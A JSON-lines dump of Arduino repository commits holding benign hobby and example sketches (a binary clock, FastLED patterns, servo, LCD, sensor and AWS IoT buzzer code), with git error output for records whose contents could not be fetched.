{"commit":"b4f2499b48939eb2430e773e5dec2ca0b056bd4c","subject":"Create base2clock3.ino","message":"Create base2clock3.ino","repos":"linuxmania\/base2clock","old_file":"base2clock3.ino","new_file":"base2clock3.ino","new_contents":"\/***************************\n*\n* base 2 clock code for arduino\n* Copyleft (C) 2015 Daniel K. Spicer\n*\n* This program is free software: you can redistribute it and\/or modify\n* it under the terms of the GNU General Public License as published by\n* the Free Software Foundation, either version 3 of the License, or\n* (at your option) any later version.\n*\n* This program is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n* GNU General Public License for more details.\n*\n* You should have received a copy of the GNU General Public License\n* along with this program. If not, see .\n*\n****************************\/\n\/\/ adjust this value to tune the clock. 5000 should be close, lower if clock runs slow, higher if fast.\n#define INTERVAL_TIME 5000\n\/\/int's representing led's. 1 = on, 0 = off. Initially they will all be off.\nint p1,p2,p3,p4,p5,p6,p7,p8,p9 = 0;\nint iterations = 0;\nboolean increment, reset_fast, reset_slow, time_set, setting_time = false;\nvoid setup(){\n\/\/8 led's as outputs.\npinMode(13, OUTPUT);\npinMode(12, OUTPUT);\npinMode(11, OUTPUT);\npinMode(10, OUTPUT);\npinMode(9, OUTPUT);\npinMode(8, OUTPUT);\npinMode(7, OUTPUT);\npinMode(6, OUTPUT);\n\/\/2 time set buttons as inputs.\npinMode(5, INPUT);\ndigitalWrite(5, HIGH);\npinMode(4, INPUT);\ndigitalWrite(4, HIGH);\n} \/\/ end setup()\nvoid loop(){\n\/\/reinitialize time setting booleans to false.\nreset_fast = false;\nreset_slow = false;\nsetting_time = false;\n\/\/see if the time is being set.\nif(digitalRead(5) == LOW){\nreset_slow = true;\nresetTimeSetFlags();\n} else if(digitalRead(4) == LOW){\nreset_fast = true;\nresetTimeSetFlags();\n}\nif(!time_set){ \/\/ time has never been set so just blink the lights.\nif(p8 == 1)\np8 = p7 = p6 = p5 = p4 = p3 = p2 = p1 = 0;\nelse\t\np8 = p7 = p6 = p5 = p4 = p3 = p2 = p1 = 1;\nlightLights();\n} else { \/\/time has been set, so increment as instructed.\nif(!increment){\niterations++;\nif(iterations == 12){\niterations = 0;\nincrement = true;\n}\n}\nif(increment){\nincrement = false;\nif(setting_time || !setIncrementFlag()){\ndoIncrement();\nlightLights();\n}\n}\n} \/\/end time_set is true\n\/\/ figure out the loop delay, typically 5 seconds, 1 second if the time has never been set\n\/\/ and we are blinking the lights, 0.1 second if we are coarse setting the time and 1 second\n\/\/ if we are fine setting the time.\nif(reset_fast){\ndelay(100);\niterations = 0;\n} else if(reset_slow){\ndelay(1000);\niterations = 0;\n} else if(!time_set) {\ndelay(1000);\n} else delay(INTERVAL_TIME);\n} \/\/ end loop()\nvoid resetTimeSetFlags(){\nsetting_time = true;\nincrement = true;\ntime_set = true;\niterations = 0;\np9 = 0;\n}\nboolean setIncrementFlag(){\nif(p9 == 0 && (p8 == 0 || p7 == 0 || p6 == 0)){\np9 = 1;\nreturn true;\n}\nreturn false;\n}\nvoid doIncrement(){\np9 = 0;\nif(p8 == 0){\np8 = 1;\n} else if (p7 == 0){\np7 = 1;\np8 = 0;\n} else if (p6 == 0){\np6 = 1;\np8 = p7 = 0;\n} else if (p5 == 0){\np5 = 1;\np8 = p7 = p6 = 0;\n} else if (p4 == 0){\np4 = 1;\np8 = p7 = p6 = p5 = 0;\n} else if (p3 == 0){\np3 = 1;\np8 = p7 = p6 = p5 = p4 = 0;\n} else if (p2 == 0){\np2 = 1;\np8 = p7 = p6 = p5 = p4 = p3 = 0;\n} else if (p1 == 0){\np1 = 1;\np8 = p7 = p6 = p5 = p4 = p3 = p2 = 0;\n} else { \/\/ all lights were lit, so this increment resets them to all off\np8 = p7 = p6 = p5 = p4 = p3 = p2 = p1 = 0;\n}\n} \/\/ end doIncrement()\nvoid lightLights() {\nif(p1 == 1)\ndigitalWrite(13, HIGH);\nelse\t\ndigitalWrite(13, LOW);\nif(p2 == 1)\ndigitalWrite(12, HIGH);\nelse\t\ndigitalWrite(12, LOW);\nif(p3 == 1)\ndigitalWrite(11, HIGH);\nelse\t\ndigitalWrite(11, LOW);\nif(p4 == 1)\ndigitalWrite(10, HIGH);\nelse\t\ndigitalWrite(10, LOW);\nif(p5 == 1)\ndigitalWrite(9, HIGH);\nelse\t\ndigitalWrite(9, LOW);\nif(p6 == 1)\ndigitalWrite(8, HIGH);\nelse\t\ndigitalWrite(8, LOW);\nif(p7 == 1)\ndigitalWrite(7, HIGH);\nelse\t\ndigitalWrite(7, LOW);\nif(p8 == 1)\ndigitalWrite(6, HIGH);\nelse\t\ndigitalWrite(6, LOW);\n} \/\/ end lightLights() \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'base2clock3.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"6f8c35a9e5a3ac8ebea1dceca3b5950c02732231","subject":"Science Staition send ino code","message":"Science Staition send ino code\n\nIt needs a better formatting of the string it sends to mega\n","repos":"huskyroboticsteam\/2014-15,lolisa\/2014-15,lolisa\/2014-15,huskyroboticsteam\/2014-15,lolisa\/2014-15,huskyroboticsteam\/2014-15","old_file":"Arduino Code\/Science Station\/StationSendString\/StationSendString.ino","new_file":"Arduino Code\/Science Station\/StationSendString\/StationSendString.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lolisa\/2014-15.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"8fd85cf358442084f96b55c6b927929b3a0be52d","subject":"esp server","message":"esp server\n","repos":"ada\/ws,ada\/ws,ada\/ws,ada\/ws,ada\/ws","old_file":"test-ESP8266-server\/test-ESP8266-server.ino","new_file":"test-ESP8266-server\/test-ESP8266-server.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ada\/ws.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"61bc806f67f8a0a83c87626c83e182b97c8036a0","subject":"SHT21 Arduino Code","message":"SHT21 Arduino Code\n","repos":"hirnidrin\/makezurich2017,hirnidrin\/makezurich2017","old_file":"test\/ReadSHT2x\/ReadSHT2x.ino","new_file":"test\/ReadSHT2x\/ReadSHT2x.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/hirnidrin\/makezurich2017.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"9ed4e2434c04b773f087357e04fe266aa47312e0","subject":"Exercise solutions for Lesson 2.2","message":"Exercise solutions for Lesson 2.2\n","repos":"SumoRobotLeague\/MRK-1,SumoRobotLeague\/MRK-1","old_file":"Chapter_2\/Lesson_2.2\/Exercises\/Solutions.ino","new_file":"Chapter_2\/Lesson_2.2\/Exercises\/Solutions.ino","new_contents":"\nvoid setup() {\n\tint a = 5;\n\tint b = a + 12;\n\ta = 10;\n\tfloat c = 7.2;\n\tint d = c * a;\n\tint e = 9 \/ 4;\n\tint irSensors[] = { A1, A2, A3 };\n\n\t\/\/ Question 1 Solution\n\tSerial.print(\"Question 1: The current value of b is: \");\n\tSerial.println(b);\n\n\t\/\/ Question 2 Solution\n\tSerial.print(\"Question 2: The final value of a is: \");\n\tSerial.println(a);\n\n\t\/\/ Question 3 Solution\n\tSerial.print(\"Question 3: The final value of d is: \");\n\tSerial.println(d);\n\n\t\/\/ Question 4 Solution\n\tSerial.print(\"Question 4: The IR Sensor in irSensors[] at index 2 is: \");\n\tSerial.println(irSensors[2]);\n\n\t\/\/ Question 5 Solution\n\tSerial.print(\"Question 5: The IR Sensor in irSensors[] at index 0 is: \");\n\tSerial.println(irSensors[0]);\n}\n\nvoid loop() {\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Chapter_2\/Lesson_2.2\/Exercises\/Solutions.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0ed104f028fc160f4bf06cdc9aa6bf2e67b55c52","subject":"add WiFi Event example","message":"add WiFi Event example\n","repos":"Adam5Wu\/Arduino,esp8266\/Arduino,me-no-dev\/Arduino,Links2004\/Arduino,quertenmont\/Arduino,NextDevBoard\/Arduino,gguuss\/Arduino,NextDevBoard\/Arduino,Lan-Hekary\/Arduino,KaloNK\/Arduino,sticilface\/Arduino,jes\/Arduino,martinayotte\/ESP8266-Arduino,KaloNK\/Arduino,NullMedia\/Arduino,toastedcode\/esp8266-Arduino,Juppit\/Arduino,esp8266\/Arduino,esp8266\/Arduino,Links2004\/Arduino,jes\/Arduino,quertenmont\/Arduino,wemos\/Arduino,hallard\/Arduino,jes\/Arduino,jes\/Arduino,NextDevBoard\/Arduino,jes\/Arduino,toastedcode\/esp8266-Arduino,Juppit\/Arduino,toastedcode\/esp8266-Arduino,wemos\/Arduino,me-no-dev\/Arduino,me-no-dev\/Arduino,NullMedia\/Arduino,Lan-Hekary\/Arduino,NullMedia\/Arduino,NullMedia\/Arduino,sticilface\/Arduino,NextDevBoard\/Arduino,esp8266\/Arduino,wemos\/Arduino,quertenmont\/Arduino,me-no-dev\/Arduino,martinayotte\/ESP8266-Arduino,KaloNK\/Arduino,me-no-dev\/Arduino,martinayotte\/ESP8266-Arduino,hallard\/Arduino,sticilface\/Arduino,NextDevBoard\/Arduino,NullMedia\/Arduino,toastedcode\/esp8266-Arduino,toastedcode\/esp8266-Arduino,hallard\/Arduino,quertenmont\/Arduino,Links2004\/Arduino,Lan-Hekary\/Arduino,Juppit\/Arduino,Lan-Hekary\/Arduino,lrmoreno007\/Arduino,KaloNK\/Arduino,gguuss\/Arduino,Links2004\/Arduino,Juppit\/Arduino,Adam5Wu\/Arduino,lrmoreno007\/Arduino,wemos\/Arduino,Links2004\/Arduino,gguuss\/Arduino,Adam5Wu\/Arduino,Adam5Wu\/Arduino,lrmoreno007\/Arduino,KaloNK\/Arduino,esp8266\/Arduino,wemos\/Arduino,quertenmont\/Arduino,gguuss\/Arduino,hallard\/Arduino,lrmoreno007\/Arduino,lrmoreno007\/Arduino,Adam5Wu\/Arduino,hallard\/Arduino,martinayotte\/ESP8266-Arduino,gguuss\/Arduino,Lan-Hekary\/Arduino,Juppit\/Arduino,sticilface\/Arduino,sticilface\/Arduino,martinayotte\/ESP8266-Arduino","old_file":"libraries\/ESP8266WiFi\/examples\/WiFiClientEvents\/WiFiClientEvents.ino","new_file":"libraries\/ESP8266WiFi\/examples\/WiFiClientEvents\/WiFiClientEvents.ino","new_contents":"\/*\r\n * This sketch shows the WiFi event usage\r\n *\r\n *\/\r\n\r\n#include \r\n\r\nconst char* ssid = \"your-ssid\";\r\nconst char* password = \"your-password\";\r\n\r\n\r\nvoid WiFiEvent(WiFiEvent_t event) {\r\n Serial.printf(\"[WiFi-event] event: %d\\n\", event);\r\n\r\n switch(event) {\r\n case WIFI_EVENT_STAMODE_GOT_IP:\r\n Serial.println(\"WiFi connected\");\r\n Serial.println(\"IP address: \");\r\n Serial.println(WiFi.localIP());\r\n break;\r\n case WIFI_EVENT_STAMODE_DISCONNECTED:\r\n Serial.println(\"WiFi lost connection\");\r\n break;\r\n }\r\n}\r\n\r\nvoid setup() {\r\n Serial.begin(115200);\r\n\r\n \/\/ delete old config\r\n WiFi.disconnect(true);\r\n\r\n delay(1000);\r\n\r\n WiFi.onEvent(WiFiEvent);\r\n\r\n WiFi.begin(ssid, password);\r\n\r\n Serial.println();\r\n Serial.println();\r\n Serial.println(\"Wait for WiFi... \");\r\n}\r\n\r\n\r\nvoid loop() {\r\n delay(1000);\r\n}\r\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'libraries\/ESP8266WiFi\/examples\/WiFiClientEvents\/WiFiClientEvents.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"97db37dee2919e8723a1971c904824dd15c37f44","subject":"Delete Kesif_Robotu.ino","message":"Delete Kesif_Robotu.ino","repos":"firatozz\/Explorer-Robot","old_file":"Kesif_Robotu.ino","new_file":"Kesif_Robotu.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/firatozz\/Explorer-Robot.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"5aa7921b7dc3871b6c5f75655c939b53083ccdbf","subject":"Add a air dust sensor module","message":"Add a air dust sensor module\n","repos":"iot-labs\/dashboard,iot-labs\/dashboard,iot-labs\/dashboard,iot-labs\/dashboard,iot-labs\/dashboard","old_file":"Platforms\/arduino\/basic tutorial\/examples\/07_AirDustSensor_withDisplay.ino","new_file":"Platforms\/arduino\/basic tutorial\/examples\/07_AirDustSensor_withDisplay.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Platforms\/arduino\/basic' did not match any file(s) known to git\nerror: pathspec 'tutorial\/examples\/07_AirDustSensor_withDisplay.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b148e4a2615904221ca342042650b8d30dd42b1a","subject":"restructured to let html carry the information. Display is only for startup check.","message":"restructured to let html carry the information. Display is only for startup check.\n","repos":"janiversen\/SolarPower","old_file":"SolarControl.ino","new_file":"SolarControl.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/janiversen\/SolarPower.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"6a2d785427d8e8eaca6ba1a4f2b5fb8526c2b818","subject":"Create DemoReel100_with_button.ino","message":"Create DemoReel100_with_button.ino","repos":"marmilicious\/FastLED_examples","old_file":"DemoReel100_with_button.ino","new_file":"DemoReel100_with_button.ino","new_contents":"\/\/***************************************************************\n\/\/ This is Mark Kriegsman's FastLED DemoReel100 example with\n\/\/ a modificaiton to use a button for changing patterns. The\n\/\/ timer used for picking a new pattern has been commented out\n\/\/ and there is a button check inside the main loop now.\n\/\/\n\/\/ Search for \"BUTTON STUFF\" to find the various button releated\n\/\/ code additions.\n\/\/\n\/\/ Marc Miller, March 2017\n\/\/***************************************************************\n\n#include \"FastLED.h\"\n#define DATA_PIN 11\n#define CLK_PIN 13\n#define LED_TYPE LPD8806\n#define COLOR_ORDER GRB\n#define NUM_LEDS 32\nCRGB leds[NUM_LEDS];\n#define BRIGHTNESS 128\n#define FRAMES_PER_SECOND 120\n\n\n\/\/---------------------------------------------------------------\n\/\/BUTTON STUFF\n\/\/ This uses JChristensen's Button Library from:\n\/\/ https:\/\/github.com\/JChristensen\/Button\n#include \"Button.h\" \/\/ Include Button library\nconst int buttonPin = 4; \/\/ Set digital pin used with debounced pushbutton\nButton myButton(buttonPin, true, true, 50); \/\/ Declare the button\n\n\n\/\/---------------------------------------------------------------\nvoid setup() {\n Serial.begin(115200); \/\/ Allows serial monitor output (check baud rate)\n delay(3000); \/\/ 3 second delay for recovery\n \/\/FastLED.addLeds(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.addLeds(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.setBrightness(BRIGHTNESS);\n}\n\n\n\/\/ List of patterns to cycle through. Each is defined as a separate function below.\ntypedef void (*SimplePatternList[])();\nSimplePatternList gPatterns = { rainbow, confetti, sinelon, juggle };\n\nuint8_t gCurrentPatternNumber = 0; \/\/ Index number of which pattern is current\nuint8_t gHue = 0; \/\/ rotating \"base color\" used by many of the patterns\n\n\n\/\/---------------------------------------------------------------\nvoid loop()\n{\n \/\/ Call the current pattern function once, updating the 'leds' array\n gPatterns[gCurrentPatternNumber]();\n\n \/\/ send the 'leds' array out to the actual LED strip\n FastLED.show(); \n \/\/ insert a delay to keep the framerate modest\n FastLED.delay(1000\/FRAMES_PER_SECOND); \n\n \/\/ do some periodic updates\n EVERY_N_MILLISECONDS( 20 ) { gHue++; } \/\/ slowly cycle the \"base color\" through the rainbow\n\n \/\/ BUTTON STUFF\n \/\/ Not using this timer to change patterns any more. Instead check the button.\n \/\/ EVERY_N_SECONDS( 10 ) { nextPattern(); } \/\/ change patterns periodically\n \/\/\n readbutton(); \/\/ check for button press\n\n}\/\/end_main_loop\n\n#define ARRAY_SIZE(A) (sizeof(A) \/ sizeof((A)[0]))\n\n\n\/\/---------------------------------------------------------------\nvoid nextPattern()\n{\n \/\/ add one to the current pattern number, and wrap around at the end\n gCurrentPatternNumber = (gCurrentPatternNumber + 1) % ARRAY_SIZE( gPatterns);\n}\n\nvoid rainbow() \n{\n \/\/ FastLED's built-in rainbow generator\n fill_rainbow( leds, NUM_LEDS, gHue, 12);\n}\n\nvoid confetti() \n{\n \/\/ random colored speckles that blink in and fade smoothly\n fadeToBlackBy( leds, NUM_LEDS, 20);\n int pos = random16(NUM_LEDS);\n leds[pos] += CHSV( gHue + random8(64), random8(128,200), random8(48,255));\n}\n\nvoid sinelon()\n{\n \/\/ a colored dot sweeping back and forth, with fading trails\n fadeToBlackBy( leds, NUM_LEDS, 12);\n int pos = beatsin16( 13, 0, NUM_LEDS-1 );\n leds[pos] += CHSV( gHue, 255, 192);\n}\n\nvoid juggle() {\n \/\/ four colored dots, weaving in and out of sync with each other\n fadeToBlackBy( leds, NUM_LEDS, 20);\n byte dothue = 0;\n for( int i = 0; i < 4; i++) {\n leds[beatsin16( i+5, 0, NUM_LEDS-1 )] |= CHSV(dothue, 200, 255);\n dothue += 32;\n }\n}\n\n\n\/\/BUTTON STUFF\n\/\/---------Function to read the button and do something----------\nvoid readbutton() {\n myButton.read();\n if(myButton.wasPressed()) {\n Serial.println(\"Button pressed! Next pattern... \");\n nextPattern(); \/\/ Change to the next pattern\n\n \/\/Flash pixel zero white as a visual that button was pressed.\n leds[0] = CHSV(0,0,255); \/\/Set first pixel color white\n FastLED.show(); \/\/Update display\n delay(100); \/\/Short pause so we can see leds[0] flash\n leds[0] = CRGB::Black; \/\/Set first pixel off\n FastLED.show(); \/\/Update display\n delay(100); \/\/Short pause so we can see leds[0] flash\n }\n}\/\/end_readbutton\n\n\n\/\/---------------------------------------------------------------\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'DemoReel100_with_button.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ad5e42ca6a4ddb06632937c9385b7b7d511ebdec","subject":"Tested the PWM servo for the arm.","message":"Tested the PWM servo for the arm.\n","repos":"zteifel\/booboo,zteifel\/booboo","old_file":"Tests\/Arm_test\/Arm_test.ino","new_file":"Tests\/Arm_test\/Arm_test.ino","new_contents":"#include \n\nint ARM_SERVO_PIN = 11;\n\nServo armServo;\n\nvoid setup() {\n armServo.attach(ARM_SERVO_PIN);\n\n}\n\nvoid loop() {\n armServo.write(180); \/\/ Rotate servo counter clockwise\n delay(2000); \/\/ Wait 2 seconds\n armServo.write(0); \/\/ Rotate servo clockwise\n delay(2000);\n armServo.write(90); \/\/ Rotate servo to center\n delay(2000); \n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Tests\/Arm_test\/Arm_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6ca8d15bd857cf36f56b420a582c7a5b5f35bd54","subject":"delete this","message":"delete this","repos":"unseen1980\/IoT-ParkingFinder,unseen1980\/IoT-ParkingFinder,unseen1980\/IoT-ParkingFinder","old_file":"arduino\/receiver (1).ino","new_file":"arduino\/receiver (1).ino","new_contents":"","old_contents":"","returncode":2,"stderr":"\/bin\/sh: 1: Syntax error: \"(\" unexpected\n","license":"mit","lang":"Arduino"} {"commit":"7718950ca2274968d2780925eabbba3da0037de6","subject":"LCD_Serial","message":"LCD_Serial\n","repos":"yehnan\/arduino_practices,yehnan\/arduino_practices,yehnan\/arduino_practices","old_file":"LCD\/LCD_Serial.ino","new_file":"LCD\/LCD_Serial.ino","new_contents":"\/* Use LiquidCrystal library to control 2x16 LCD(Liquid Crystal Display)\n Details please see \n http:\/\/yehnan.blogspot.com\/2012\/02\/arduinoliquidcrystallcdhitachi-hd44780.html\n*\/\n\n#include \n#define ROW_NUM 2\n#define COL_NUM 16\n#define ROW(x) (x \/ COL_NUM)\nint index = 0;\n#define INDEX_MAX (COL_NUM * ROW_NUM)\n#define COL(x) (x % COL_NUM)\n\nLiquidCrystal lcd(12, 11, 2, 3, 4, 5);\n\nvoid setup(){\n Serial.begin(115200);\n lcd.begin(COL_NUM, ROW_NUM);\n lcd.setCursor(0, 0);\n lcd.cursor();\n lcd.blink();\n}\n\nvoid loop(){\n int b;\n while( (b = Serial.read()) != -1){\n if(0x20 <= b && b <= 0x7E){\n if(index == INDEX_MAX - 1){\n index = 0;\n lcd.clear();\n }\n\n lcd.write(b);\n index++;\n lcd.setCursor(COL(index), ROW(index));\n }\n }\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'LCD\/LCD_Serial.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bd5562ab57483e1a0e28be8c485ecb18c764c344","subject":"Adding get ID example.","message":"Adding get ID example.\n","repos":"sparkfun\/SparkFun_MLX90614_Arduino_Library","old_file":"examples\/MLX90614_Get_ID\/MLX90614_Get_ID.ino","new_file":"examples\/MLX90614_Get_ID\/MLX90614_Get_ID.ino","new_contents":"\/****************************************************************************** \nMLX90614_Get_ID.ino\nPrint ID register values stored in the MLX90614\n\nThis example reads from the MLX90614's ID registers, and \nprints out the 64-byte value to the serial monitor.\n\nHardware Hookup (if you're not using the eval board):\nMLX90614 ------------- Arduino\n VDD ------------------ 3.3V\n VSS ------------------ GND\n SDA ------------------ SDA (A4 on older boards)\n SCL ------------------ SCL (A5 on older boards)\n \nJim Lindblom @ SparkFun Electronics\nOctober 23, 2015\nhttps:\/\/github.com\/sparkfun\/SparkFun_MLX90614_Arduino_Library\n\nDevelopment environment specifics:\nArduino 1.6.5\nSparkFun IR Thermometer Evaluation Board - MLX90614\n******************************************************************************\/\n\n#include \/\/ I2C library, required for MLX90614\n#include \/\/ SparkFunMLX90614 Arduino library\n\nIRTherm therm; \/\/ Create an IRTherm object to interact with throughout\n\nvoid setup() \n{\n Serial.begin(9600); \/\/ Initialize Serial to log output\n therm.begin(); \/\/ Initialize the MLX90614\n \n if (therm.readID()) \/\/ Read from the ID registers\n { \/\/ If the read succeeded, print the ID:\n Serial.println(\"ID: 0x\" + \n String(therm.getIDH(), HEX) +\n String(therm.getIDL(), HEX));\n }\n}\n\nvoid loop() \n{\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/MLX90614_Get_ID\/MLX90614_Get_ID.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"38519a08a2d1312cdbdcd50fbc7bc336e9b583b7","subject":"Initial commit of arduino code","message":"Initial commit of arduino code\n","repos":"jeffkub\/beer-gauge,jeffkub\/beer-gauge","old_file":"firmware\/beer-gauge\/beer-gauge.ino","new_file":"firmware\/beer-gauge\/beer-gauge.ino","new_contents":"#include \n#include \n#include \n\n#define LED 13\n\n#define BUZZER 6\n\n#define DISP_RESET 20\n#define DISP_SCL 19\n#define DISP_SDA 18\n\n#define SCALE_DOUT 12\n#define SCALE_SCLK 14\n#define SCALE_PDWN 2\n#define SCALE_GAIN0 0\n#define SCALE_GAIN1 1\n#define SCALE_SPEED 3\n#define SCALE_A0 4\n#define SCALE_A1 5\n\n#define TOUCH_UP 15\n#define TOUCH_DOWN 16\n#define TOUCH_LEFT 22\n#define TOUCH_RIGHT 23\n#define TOUCH_ENTER 17\n#define TOUCH_COM 25\n\nAdafruit_SSD1305 display(DISP_RESET);\n\nvoid setup()\n{\n Serial.begin(9600);\n\n \/* Show splashscreen? *\/\n display.begin();\n display.display();\n\n return;\n}\n\nvoid loop()\n{\n int touchVal;\n \n touchVal = touchRead(TOUCH_ENTER);\n \n return;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/beer-gauge\/beer-gauge.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f834b115266facda98a68c9838d90db6e577d962","subject":"Added Arduino source code","message":"Added Arduino source code","repos":"nothans\/Uber-AWS-IoT","old_file":"Arduino_Yun_AWS_IoT.ino","new_file":"Arduino_Yun_AWS_IoT.ino","new_contents":"\/*\n * Uber + AWS IoT + Lambda + Arduino\n * \n * Use an AWS IoT connected Arduino Yun to indicate how far your Uber car\n * is away from you. This project started with BasicPubSub example by Amazon \n * to interface with AWS IoT \/ MQTT.\n * \n * https:\/\/www.hackster.io\/nothans\/use-uber-with-aws-iot-lambda-arduino-starter-kit-f71c50\n * \n * Created: January 31, 2016 by Hans Scharler - http:\/\/www.nothans.com\n *\/\n\n\/\/ Include AWS IoT\n#include \n#include \n#include \"aws_iot_config.h\"\n\n\/\/ Setup AWS IoT Client\naws_iot_mqtt_client myClient; \/\/ init iot_mqtt_client\n\n\/\/ Setup global variables for AWS IoT\nchar msg[32]; \/\/ read-write buffer\nint cnt = 0; \/\/ loop counts\nint rc = -100; \/\/ return value placeholder\nbool success_connect = false; \/\/ whether it is connected\n\n\/\/ Create a callback for AWS IoT messages\nvoid msg_callback(char* src, int len) {\n \n Serial.println(\"CALLBACK:\"); \n int i;\n for(i = 0; i < len; i++) {\n Serial.print(src[i]);\n }\n Serial.println(\"\");\n\n \/\/ Get number of beeps\n int n = atoi(src);\n \n \/\/ Signal Uber's ETA by beeping the buzzer\n soundBeeps(n, 500, 300); \n \n}\n\n\/\/ Define pins for button and buzzer\nconst int pinButton = 3;\nconst int pinBuzzer = 2;\n\nvoid setup() {\n \/\/ Configure button pin as a digital input\n pinMode(pinButton, INPUT);\n\n \/\/ Configure buzzer pin as a digital output\n pinMode(pinBuzzer, OUTPUT);\n \n \/\/ Start serial for debug \/ monitoring\n Serial.begin(115200);\n\n \/\/ Wait for serial before AWS IoT setup starts\n while(!Serial);\n \/\/\n char curr_version[80];\n sprintf(curr_version, \"AWS IoT SDK Version(dev) %d.%d.%d-%s\\n\", VERSION_MAJOR, VERSION_MINOR, VERSION_PATCH, VERSION_TAG);\n Serial.println(curr_version);\n \/\/ Set up the client\n if((rc = myClient.setup(AWS_IOT_CLIENT_ID)) == 0) {\n \/\/ Load user configuration\n if((rc = myClient.config(AWS_IOT_MQTT_HOST, AWS_IOT_MQTT_PORT, AWS_IOT_ROOT_CA_PATH, AWS_IOT_PRIVATE_KEY_PATH, AWS_IOT_CERTIFICATE_PATH)) == 0) {\n \/\/ Use default connect: 60 sec for keepalive\n if((rc = myClient.connect()) == 0) {\n success_connect = true;\n \/\/ Subscribe to \"topic1\"\n if((rc = myClient.subscribe(\"uber_response\", 1, msg_callback)) != 0) {\n Serial.println(\"Subscribe failed!\");\n Serial.println(rc);\n }\n }\n else {\n Serial.println(\"Connect failed!\");\n Serial.println(rc);\n }\n }\n else {\n Serial.println(\"Config failed!\");\n Serial.println(rc);\n }\n }\n else {\n Serial.println(\"Setup failed!\");\n Serial.println(rc);\n }\n \/\/ Delay to make sure SUBACK is received, delay time could vary according to the server\n delay(2000); \n}\n\nvoid loop() {\n\n \/\/ Check if button is pressed\n if (digitalRead(pinButton)) {\n publishToAWSIoT();\n }\n\n if (success_connect) {\n \n \/\/ Get a chance to run a callback\n if ((rc = myClient.yield()) != 0) {\n Serial.println(\"Yield failed!\");\n Serial.println(rc);\n }\n \n }\n \n delay(1000);\n \n}\n\nint publishToAWSIoT() {\n \n if (success_connect) {\n \n \/\/ Send the message \"estimate\" to the \"uber_request\" topic\n sprintf(msg, \"{\\\"command\\\":\\\"estimate\\\"}\", cnt);\n \n if ((rc = myClient.publish(\"uber\", msg, strlen(msg), 1, false)) != 0) {\n Serial.println(\"Publish failed!\");\n Serial.println(rc);\n }\n \n delay(1000);\n \n }\n \n}\n\nvoid soundBeeps(int beeps, int duration, int wait) {\n \n for (int i = 0; i < beeps; i++) {\n \n digitalWrite(pinBuzzer, HIGH);\n delay(duration);\n digitalWrite(pinBuzzer, LOW);\n delay(wait);\n \n }\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino_Yun_AWS_IoT.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5a3ffdd5a1403ad3a10b5b06079b590cb66f5300","subject":"Added Big Demo","message":"Added Big Demo\n\nAdd a demo Arduino code to show off all the features so far.\n","repos":"CmdrZin\/chips_avr_examples,CmdrZin\/chips_avr_examples,CmdrZin\/chips_avr_examples,CmdrZin\/chips_avr_examples,CmdrZin\/chips_avr_examples","old_file":"EM_8x8\/ArduinoTestCode\/Arduino_EM_8x8_BigDemo.ino\/Arduino_EM_8x8_BigDemo.ino.ino","new_file":"EM_8x8\/ArduinoTestCode\/Arduino_EM_8x8_BigDemo.ino\/Arduino_EM_8x8_BigDemo.ino.ino","new_contents":"\/*\n * The MIT License (MIT)\n *\n * Copyright (c) 2016 Nels D. \"Chip\" Pearson (aka CmdrZin)\n *\n * Permission is 